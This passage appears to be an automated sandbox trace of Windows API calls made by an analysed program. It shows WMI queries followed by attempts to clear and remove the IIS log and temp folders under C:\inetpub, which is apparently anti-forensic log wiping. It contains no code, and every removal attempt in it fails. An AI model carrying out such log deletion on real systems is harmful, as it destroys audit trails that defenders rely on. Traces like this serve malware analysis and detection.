pProxy=0x377d294, pAuthnSvc=0x18e97c, pAuthzSvc=0x18e980, pServerPrincName=0x0, pAuthnLevel=0x18e9a8, pImpLevel=0x18e9a4, pAuthInfo=0x0, pCapabilites=0x18e994 | out: pAuthnSvc=0x18e97c*=0xa, pAuthzSvc=0x18e980*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18e9a8*=0x6, pImpLevel=0x18e9a4*=0x2, pAuthInfo=0x0, pCapabilites=0x18e994*=0x1) returned 0x0 [0086.627] IUnknown:Release (This=0x377d298) returned 0x1 [0086.627] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.627] GetCurrentThreadId () returned 0x9ec [0086.627] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e970 | out: ppvObject=0x18e970*=0x146082c) returned 0x0 [0086.627] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x146082c, pProxy=0x377d194, pAuthnSvc=0x18e960, pAuthzSvc=0x18e964, pServerPrincName=0x0, pAuthnLevel=0x18e990, pImpLevel=0x18e994, pAuthInfo=0x0, pCapabilites=0x18e978 | out: pAuthnSvc=0x18e960*=0xa, pAuthzSvc=0x18e964*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18e990*=0x6, pImpLevel=0x18e994*=0x3, pAuthInfo=0x0, pCapabilites=0x18e978*=0x20) returned 0x0 [0086.627] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x3 [0086.628] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.628] GetCurrentThreadId () returned 0x9ec [0086.628] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e970 | out: ppvObject=0x18e970*=0x146082c) returned 0x0 [0086.628] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x146082c, pProxy=0x377d194, pAuthnSvc=0x18e960, pAuthzSvc=0x18e964, pServerPrincName=0x0, pAuthnLevel=0x18e994, pImpLevel=0x18e990, pAuthInfo=0x0, pCapabilites=0x18e978 | out: pAuthnSvc=0x18e960*=0xa, pAuthzSvc=0x18e964*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18e994*=0x6, pImpLevel=0x18e990*=0x3, pAuthInfo=0x0, pCapabilites=0x18e978*=0x20) returned 0x0 [0086.628] WbemLocator:IUnknown:Release (This=0x146082c) returned 0x3 [0086.628] IUnknown:QueryInterface (in: This=0x377d294, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e9bc | out: ppvObject=0x18e9bc*=0x377d298) returned 0x0 [0086.628] IClientSecurity:CopyProxy (in: This=0x377d298, pProxy=0x377d294, ppCopy=0x18e9c0 | out: ppCopy=0x18e9c0*=0x377d414) returned 0x0 [0086.628] IUnknown:QueryInterface (in: This=0x377d414, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e8d8 | out: ppvObject=0x18e8d8*=0x377d418) returned 0x0 [0086.628] IClientSecurity:QueryBlanket (in: This=0x377d418, pProxy=0x377d414, pAuthnSvc=0x18e8fc, pAuthzSvc=0x18e8ec, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18e8fc*=0xa, pAuthzSvc=0x18e8ec*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0086.628] IUnknown:Release (This=0x377d418) returned 0x3 [0086.628] IUnknown:QueryInterface (in: This=0x377d414, riid=0x744d34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e8b0 | out: ppvObject=0x18e8b0*=0x14b255c) returned 0x0 [0086.628] IUnknown:QueryInterface (in: This=0x377d414, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e8b4 | out: ppvObject=0x18e8b4*=0x377d418) returned 0x0 [0086.628] IClientSecurity:SetBlanket (This=0x377d418, pProxy=0x377d414, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0086.629] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.629] GetCurrentThreadId () returned 0x9ec [0086.629] GetCurrentThreadId () returned 0x9ec [0086.629] GetCurrentThreadId () returned 0x9ec [0086.629] PeekMessageA (in: lpMsg=0x18df28, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18df28) returned 0 [0086.629] PeekMessageA (in: lpMsg=0x18df28, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18df28) returned 0 [0086.629] PeekMessageA (in: lpMsg=0x18df28, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18df28) returned 0 [0086.712] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.712] GetCurrentThreadId () returned 0x9ec [0086.713] GetCurrentThreadId () returned 0x9ec [0086.713] GetCurrentThreadId () returned 0x9ec [0086.713] PeekMessageA (in: lpMsg=0x18e06c, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e06c) returned 0 [0086.713] PeekMessageA (in: lpMsg=0x18e06c, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e06c) returned 0 [0086.713] PeekMessageA (in: lpMsg=0x18e06c, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e06c) returned 0 [0086.730] IUnknown:Release (This=0x377d418) returned 0x4 [0086.730] WbemLocator:IUnknown:Release (This=0x14b255c) returned 0x3 [0086.730] IUnknown:Release (This=0x377d298) returned 0x2 [0086.730] IUnknown:AddRef (This=0x377d414) returned 0x3 [0086.730] IUnknown:Release (This=0x377d294) returned 0x2 [0086.730] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x18ea2c | out: pperrinfo=0x18ea2c*=0x0) returned 0x1 [0086.731] WbemLocator:IUnknown:Release (This=0x377d194) returned 0x2 [0086.731] IUnknown:Release (This=0x14a8f3c) returned 0x1 [0086.731] LoadRegTypeLib (in: rguid=0x744d364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x18ecbc*=0x0 | out: pptlib=0x18ecbc*=0x146bd90) returned 0x0 [0086.733] ITypeLib:GetTypeInfoOfGuid (in: This=0x146bd90, GUID=0x377bad8*(Data1=0x76a6415f, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x377bacc | out: ppTInfo=0x377bacc*=0x14a8fec) returned 0x0 [0086.733] IUnknown:Release (This=0x146bd90) returned 0x2 [0086.733] IUnknown:AddRef (This=0x14a8fec) returned 0x2 [0086.733] DispGetIDsOfNames (in: ptinfo=0x14a8fec, rgszNames=0x18ed18*="Count", cNames=0x1, rgdispid=0x18ed1c | out: rgdispid=0x18ed1c*=1) returned 0x0 [0086.733] IUnknown:Release (This=0x14a8fec) returned 0x1 [0086.733] IUnknown:AddRef (This=0x14a8fec) returned 0x2 [0086.733] ITypeInfo:LocalInvoke (This=0x14a8fec) returned 0x0 [0086.733] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.733] GetCurrentThreadId () returned 0x9ec [0086.733] IUnknown:AddRef (This=0x377d414) returned 0x3 [0086.733] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0086.733] GetCurrentThreadId () returned 0x9ec [0086.733] IEnumWbemClassObject:Clone (in: This=0x377d414, ppEnum=0x18eb44 | out: ppEnum=0x18eb44*=0x377d4dc) returned 0x0 [0086.734] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.734] GetCurrentThreadId () returned 0x9ec [0086.734] GetCurrentThreadId () returned 0x9ec [0086.734] GetCurrentThreadId () returned 0x9ec [0086.734] PeekMessageA (in: lpMsg=0x18e378, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e378) returned 0 [0086.734] PeekMessageA (in: lpMsg=0x18e378, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e378) returned 0 [0086.734] PeekMessageA (in: lpMsg=0x18e378, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e378) returned 0 [0086.777] IUnknown:QueryInterface (in: This=0x377d414, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18eafc | out: ppvObject=0x18eafc*=0x377d418) returned 0x0 [0086.777] IClientSecurity:QueryBlanket (in: This=0x377d418, pProxy=0x377d414, pAuthnSvc=0x18eaec, pAuthzSvc=0x18eaf0, pServerPrincName=0x0, pAuthnLevel=0x18eb0c, pImpLevel=0x18eb10, pAuthInfo=0x0, pCapabilites=0x18eb04 | out: pAuthnSvc=0x18eaec*=0xa, pAuthzSvc=0x18eaf0*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18eb0c*=0x6, pImpLevel=0x18eb10*=0x3, pAuthInfo=0x0, pCapabilites=0x18eb04*=0x20) returned 0x0 [0086.777] IUnknown:Release (This=0x377d418) returned 0x3 [0086.777] IUnknown:QueryInterface (in: This=0x377d4dc, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ea48 | out: ppvObject=0x18ea48*=0x377d4e0) returned 0x0 [0086.777] IClientSecurity:QueryBlanket (in: This=0x377d4e0, pProxy=0x377d4dc, pAuthnSvc=0x18ea6c, pAuthzSvc=0x18ea5c, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18ea6c*=0xa, pAuthzSvc=0x18ea5c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0086.777] IUnknown:Release (This=0x377d4e0) returned 0x1 [0086.777] IUnknown:QueryInterface (in: This=0x377d4dc, riid=0x744d34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ea20 | out: ppvObject=0x18ea20*=0x14666c4) returned 0x0 [0086.777] IUnknown:QueryInterface (in: This=0x377d4dc, riid=0x744d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ea24 | out: ppvObject=0x18ea24*=0x377d4e0) returned 0x0 [0086.777] IClientSecurity:SetBlanket (This=0x377d4e0, pProxy=0x377d4dc, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0086.778] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.778] GetCurrentThreadId () returned 0x9ec [0086.778] GetCurrentThreadId () returned 0x9ec [0086.778] GetCurrentThreadId () returned 0x9ec [0086.778] PeekMessageA (in: lpMsg=0x18e098, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e098) returned 0 [0086.778] PeekMessageA (in: lpMsg=0x18e098, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e098) returned 0 [0086.778] PeekMessageA (in: lpMsg=0x18e098, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e098) returned 0 [0086.824] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.824] GetCurrentThreadId () returned 0x9ec [0086.824] GetCurrentThreadId () returned 0x9ec [0086.824] GetCurrentThreadId () returned 0x9ec [0086.824] PeekMessageA (in: lpMsg=0x18e1dc, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e1dc) returned 0 [0086.824] PeekMessageA (in: lpMsg=0x18e1dc, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e1dc) returned 0 [0086.824] PeekMessageA (in: lpMsg=0x18e1dc, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e1dc) returned 0 [0086.894] IUnknown:Release (This=0x377d4e0) returned 0x2 [0086.894] WbemLocator:IUnknown:Release (This=0x14666c4) returned 0x1 [0086.895] IEnumWbemClassObject:Reset (This=0x377d4dc) returned 0x0 [0086.895] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.895] GetCurrentThreadId () returned 0x9ec [0086.895] GetCurrentThreadId () returned 0x9ec [0086.895] GetCurrentThreadId () returned 0x9ec [0086.895] PeekMessageA (in: lpMsg=0x18e380, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e380) returned 0 [0086.895] PeekMessageA (in: lpMsg=0x18e380, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e380) returned 0 [0086.895] PeekMessageA (in: lpMsg=0x18e380, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e380) returned 0 [0086.901] IEnumWbemClassObject:Next (in: This=0x377d4dc, lTimeout=-1, uCount=0x1, apObjects=0x18eb34, puReturned=0x18eb38 | out: apObjects=0x18eb34*=0x0, puReturned=0x18eb38*=0x0) returned 0x1 [0086.901] IMessageFilter:MessagePending (This=0x3822054, htaskCallee=0x0, dwTickCount=0x0, dwPendingType=0x1) returned 0x2 [0086.901] GetCurrentThreadId () returned 0x9ec [0086.901] GetCurrentThreadId () returned 0x9ec [0086.901] GetCurrentThreadId () returned 0x9ec [0086.901] PeekMessageA (in: lpMsg=0x18e32c, hWnd=0x0, wMsgFilterMin=0xa0, wMsgFilterMax=0xa0, wRemoveMsg=0x3 | out: lpMsg=0x18e32c) returned 0 [0086.901] PeekMessageA (in: lpMsg=0x18e32c, hWnd=0x0, wMsgFilterMin=0xf, wMsgFilterMax=0xf, wRemoveMsg=0x3 | out: lpMsg=0x18e32c) returned 0 [0086.901] PeekMessageA (in: lpMsg=0x18e32c, hWnd=0x0, wMsgFilterMin=0x113, wMsgFilterMax=0x113, wRemoveMsg=0x3 | out: lpMsg=0x18e32c) returned 0 [0086.904] IUnknown:Release (This=0x377d4dc) returned 0x0 [0086.959] IUnknown:Release (This=0x377d414) returned 0x2 [0086.959] IUnknown:Release (This=0x14a8fec) returned 0x1 [0086.960] WbemLocator:IUnknown:Release (This=0x377d194) returned 0x1 [0086.960] WbemLocator:IUnknown:Release (This=0x377d194) returned 0x0 [0086.996] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.996] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.996] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.996] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.996] IUnknown:Release (This=0x14a8f3c) returned 0x0 [0086.996] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0086.996] IUnknown:Release (This=0x377d414) returned 0x1 [0086.996] IUnknown:Release (This=0x377d414) returned 0x0 [0087.040] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0087.040] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0087.040] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0087.040] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0087.040] IUnknown:Release (This=0x14a8fec) returned 0x0 [0087.041] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0087.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ecd4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.041] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.041] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.041] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436794, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.041] SysReAllocStringLen (in: pbstr=0x18ed64*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ed64*="C:") returned 1 [0087.041] VarCat (in: pvarLeft=0x18edec, pvarRight=0x18edbc, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0087.042] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0087.042] IMalloc:Alloc (This=0x767666bc, cb=0x68) returned 0x142e020 [0087.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\Logs\\*.*", cchWideChar=-1, lpMultiByteStr=0x18e6e8, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\Logs\\*.*", lpUsedDefaultChar=0x0) returned 20 [0087.042] GetFullPathNameA (in: lpFileName="C:\\inetpub\\Logs\\*.*", nBufferLength=0x104, lpBuffer=0x18e924, lpFilePart=0x18e6e0 | out: lpBuffer="C:\\inetpub\\Logs\\*.*", lpFilePart=0x18e6e0*="*.*") returned 0x13 [0087.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\Logs\\*.*", cchWideChar=-1, lpMultiByteStr=0x18eb70, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\Logs\\*.*", lpUsedDefaultChar=0x0) returned 20 [0087.042] FindFirstFileA (in: lpFileName="C:\\inetpub\\Logs\\*.*", lpFindFileData=0x18e6c0 | out: lpFindFileData=0x18e6c0*(dwFileAttributes=0x18e6e0, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ed4c, ftLastAccessTime.dwLowDateTime=0x18e7f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e924, nFileSizeHigh=0x18e6e8, nFileSizeLow=0x18e934, dwReserved0=0x1446910, dwReserved1=0x695c3a43, cFileName="netpub\\Logs\\*.*", cAlternateFileName="\x84ë\x18")) returned 0xffffffff [0087.042] GetLastError () returned 0x3 [0087.042] GetLastError () returned 0x3 [0087.042] SetLastError (dwErrCode=0x3) [0087.042] GetLastError () returned 0x3 [0087.043] SetLastError (dwErrCode=0x3) [0087.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\Logs", cchWideChar=-1, lpMultiByteStr=0x18ea64, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\Logs", lpUsedDefaultChar=0x0) returned 16 [0087.043] GetFullPathNameA (in: lpFileName="C:\\inetpub\\Logs", nBufferLength=0x104, lpBuffer=0x18eb98, lpFilePart=0x18ea5c | out: lpBuffer="C:\\inetpub\\Logs", lpFilePart=0x18ea5c*="Logs") returned 0xf [0087.043] SetFileAttributesA (lpFileName="C:\\inetpub\\Logs", dwFileAttributes=0x80) returned 0 [0087.043] GetLastError () returned 0x3 [0087.043] GetLastError () returned 0x3 [0087.043] GetLastError () returned 0x3 [0087.043] GetLastError () returned 0x3 [0087.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0087.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x143676c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0087.043] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18eb58) [0087.048] RtlUnwind (TargetFrame=0x18ed70, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0087.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\Logs", cchWideChar=-1, lpMultiByteStr=0x18eb90, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\Logs", lpUsedDefaultChar=0x0) returned 16 [0087.049] RemoveDirectoryA (lpPathName="C:\\inetpub\\Logs" (normalized: "c:\\inetpub\\logs")) returned 0 [0087.049] GetLastError () returned 0x3 [0087.049] GetLastError () returned 0x3 [0087.049] SetLastError (dwErrCode=0x3) [0087.049] GetLastError () returned 0x3 [0087.049] SetLastError (dwErrCode=0x3) [0087.049] GetLastError () returned 0x3 [0087.049] SetLastError (dwErrCode=0x3) [0087.049] GetLastError () returned 0x3 [0087.049] SetLastError (dwErrCode=0x3) [0087.049] GetLastError () returned 0x3 [0087.049] SetLastError (dwErrCode=0x3) [0087.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0087.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x143676c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0087.049] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18eb4c) [0087.049] RtlUnwind (TargetFrame=0x18ed70, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0087.049] IMalloc:Free (This=0x767666bc, pv=0x142e020) [0087.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ecd4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.050] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.050] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.050] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14b5ed4, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.050] SysReAllocStringLen (in: pbstr=0x18ed64*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ed64*="C:") returned 1 [0087.050] VarCat (in: pvarLeft=0x18edec, pvarRight=0x18edbc, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0087.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0087.050] IMalloc:Alloc (This=0x767666bc, cb=0x68) returned 0x142e020 [0087.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\temp\\*.*", cchWideChar=-1, lpMultiByteStr=0x18e6e8, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\temp\\*.*", lpUsedDefaultChar=0x0) returned 20 [0087.050] GetFullPathNameA (in: lpFileName="C:\\inetpub\\temp\\*.*", nBufferLength=0x104, lpBuffer=0x18e924, lpFilePart=0x18e6e0 | out: lpBuffer="C:\\inetpub\\temp\\*.*", lpFilePart=0x18e6e0*="*.*") returned 0x13 [0087.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\temp\\*.*", cchWideChar=-1, lpMultiByteStr=0x18eb70, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\temp\\*.*", lpUsedDefaultChar=0x0) returned 20 [0087.050] FindFirstFileA (in: lpFileName="C:\\inetpub\\temp\\*.*", lpFindFileData=0x18e6c0 | out: lpFindFileData=0x18e6c0*(dwFileAttributes=0x18e6e0, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ed4c, ftLastAccessTime.dwLowDateTime=0x18e7f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e924, nFileSizeHigh=0x18e6e8, nFileSizeLow=0x18e934, dwReserved0=0x1446910, dwReserved1=0x695c3a43, cFileName="netpub\\temp\\*.*", cAlternateFileName="\x84ë\x18")) returned 0xffffffff [0087.050] GetLastError () returned 0x3 [0087.050] GetLastError () returned 0x3 [0087.051] SetLastError (dwErrCode=0x3) [0087.051] GetLastError () returned 0x3 [0087.051] SetLastError (dwErrCode=0x3) [0087.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\inetpub\\temp", cchWideChar=-1, lpMultiByteStr=0x18ea64, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\inetpub\\temp", lpUsedDefaultChar=0x0) returned 16 [0087.051] GetFullPathNameA (in: lpFileName="C:\\inetpub\\temp", nBufferLength=0x104, lpBuffer=0x18eb98, lpFilePart=0x18ea5c | out: lpBuffer="C:\\inetpub\\temp", lpFilePart=0x18ea5c*="temp") returned 0xf [0087.051] SetFileAttributesA (lpFileName="C:\\inetpub\\temp", dwFileAttributes=0x80) returned 0 [0087.051] GetLastError () returned 0x3 [0087.051] GetLastError () returned 0x3 [0087.051] GetLastError () returned 0x3 [0087.051] GetLastError () returned 0x3 [0087.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | 